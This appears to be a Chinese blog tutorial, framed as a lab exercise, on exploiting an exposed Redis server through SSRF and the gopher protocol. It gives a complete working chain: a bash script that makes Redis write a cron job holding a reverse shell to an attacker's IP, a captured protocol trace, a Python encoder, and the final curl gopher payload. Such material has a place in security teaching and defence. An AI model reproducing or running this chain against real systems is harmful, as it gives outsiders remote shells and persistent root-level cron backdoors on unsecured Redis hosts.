0x00实验环境

1、centos靶机(IP为:192.168.11.205,桥接模式)

2、kali黑客攻击主机(IP为:192.168.172.129,NAT模式)

0x01实验原理

这段payload的作用我们先说明一下,其作用是在靶机的/var/spool/cron临时目录下,利用ssrf漏洞写入黑客的redis数据库的操作,这样,黑客可以通过自己写入的redis数据库直接运行后获取靶机的shell

0x02实验步骤

(1)在centos靶机内部部署:

 注意:这里面的192.168.172.129/7999是我们kali的主机IP

echo -e "\n\n*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1\n\n"|/root/redis-2.8.3/src/redis-cli -h $1 -p $2 -x set 1
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dir /var/spool/cron/
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dbfilename root
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 save
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 quit

其中

$1表示含有redis漏洞的主机IP(centos)

$2表示redis的开启的端口或者被转发之后的端口

将上述代码保存为bash.sh(注意修改redis的路径及IP)

(2)使用socat进行端口转发(注:如果没有安装socat的,请使用如下的命令行进行安装)

yum install socat

(3)使用socat进行redis的端口转发,这里需要保证你的centos的redis端口是开启的

(4)将产生的命令行复制出来,并使用python脚本进行过滤各种尖括号等的操作,这是为了让机器更好的识别,并保存为log.txt

过滤方法:

  • 如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。

  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。

  • \r字符串替换成%0d%0a

  • 空白行替换为%0a

2019/05/17 12:05:20.576789 length=89 from=0 to=88
*3\r
$3\r
set\r
$1\r
1\r
$62\r */2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1 \r
< 2019/05/17 12:05:20.577165 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.581392 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/05/17 12:05:20.581966 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.587385 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/05/17 12:05:20.587804 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.591422 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/05/17 12:05:20.593302 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.597224 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/05/17 12:05:20.597551 length=5 from=0 to=4
+OK\r

python脚本为(建议使用python2的环境):

#coding: utf-8
import sys exp = '' with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp

得到如下结果:

88*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

(5)使用CURL构造完整的请求

curl -v 'gopher://192.168.11.205:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

待续。。。。。

SSRF漏洞利用之Redis大神赐予shell的更多相关文章

  1. ssrf漏洞利用(内网探测、打redis)

    摘要:存在ssrf漏洞的站点主要利用四个协议,分别是http.file.gopher.dict协议. file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描.端口探测,如果探测到637 ...

  2. SSRF——漏洞利用(二)

    0x01 概述 上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用. 0 ...

  3. SSRF漏洞(原理、漏洞利用、修复建议)

    介绍SSRF漏洞 SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞.一般情况下,SSRF攻击的目标是外网无法访问 ...

  4. 实战篇丨聊一聊SSRF漏洞的挖掘思路与技巧

    在刚结束的互联网安全城市巡回赛中,R师傅凭借丰富的挖洞经验,实现了8家SRC大满贯,获得了第一名的好成绩!R师傅结合自身经验并期许新手小白要多了解各种安全漏洞,并应用到实际操作中,从而丰富自己的挖洞经 ...

  5. SSRF漏洞的挖掘思路与技巧

    什么是SSRF? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法 ...

  6. SSRF漏洞详解

    0.SSRF简介 SSRF全称为Server-side Request Forgery,即服务端请求伪造攻击,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外 ...

  7. CVE-2017-9993 FFMpeg漏洞利用

    漏洞原理: 更改连接直接发送请求,造成ssrf 漏洞利用: 脚本地址:https://github.com/neex/ffmpeg-avi-m3u-xbin 用法: 生成一个读取/etc/passwd ...

  8. SSRF漏洞分析与利用

    转自:http://www.4o4notfound.org/index.php/archives/33/ 前言:总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的 0x01 ...

  9. SSRF之利用dict和gopher吊打Redis

    SSRF之利用dict和gopher吊打Redis 写在前面 SSRF打Redis也是老生常谈的东西了,这里复现学习一下之前在xz看到某师傅写的关于SSRF利用dict和gopher打内网服务的文章, ...

随机推荐

  1. 2019-2020 ACM-ICPC Brazil Subregional Programming Contest Problem A Artwork (并查集)

    题意:有一个矩形,有\(k\)个警报器,警报器所在半径\(r\)内不能走,问是否能从左上角走到右下角. 题解:用并查集将所有相交的圆合并,那么不能走的情况如下图所示 所以最后查询判断一下即可. 代码: ...

  2. CF1397-C. Multiples of Length

    CF1397-C. Multiples of Length 题意: 给出一个长度为\(n\)的序列,让你进行下面操作三次使得整个序列全部变为\(0\): ​ 在序列中选中一段序列\((l, r)\), ...

  3. ansible的Ad-hoc命令

    本文主要介绍了ansible的Ad-hoc命令. Ansible提供两种方式去完成任务,一是 ad-hoc 命令,一是写 Ansible playbook.前者可以解决一些简单的任务, 后者解决较复杂 ...

  4. 牛年 dotnet云原生技术趋势

    首先祝大家:新年快乐,牛年大吉,牛年发发发! 2020年的春节,新冠疫情使得全球业务停滞不前,那时候,没有人知道会发生什么,因此会议被取消,合同被搁置,项目被推迟,一切似乎都停止了.但是我们却见证了I ...

  5. 缓冲区溢出实验 2 sizeof/strlen

    实验环境.代码.及准备 https://www.cnblogs.com/lqerio/p/12870834.html vul2 下面只给出有漏洞部分的代码.Vul2问题为sizeof函数在计算时会考虑 ...

  6. leetcode29 两数相除 int 与移位

    难受啊 考虑越界 考虑dividend为-2^31,用负数移位运算 class Solution { public: int divide(int dividend, int divisor) { i ...

  7. 还傻傻分不清楚equals和==的区别吗?看完就明白了

    解决一个问题的最好方法就是发现一个问题产生的根源,即发现最本质的东西,再去解决它. Java语言里面的equals()方法是交给开发者们自己去覆盖重写编写功能的,即让开发者去定义当满足什么条件时,两个 ...

  8. Linux 驱动框架---input子系统

    input 子系统也是作为内核的一个字符设备模块存在的,所以他也是字符设备自然也会有字符设备的文件接口.input子系统的注册过程主要分为两步,先注册了一个input class然后再注册一个字符设备 ...

  9. React Hooks: useRef All In One

    React Hooks: useRef All In One useRef https://reactjs.org/docs/hooks-reference.html#useref refs xgqf ...

  10. NGINX configure auto generator

    NGINX configure auto generator The easiest way to configure a performant, secure, and stable NGINX s ...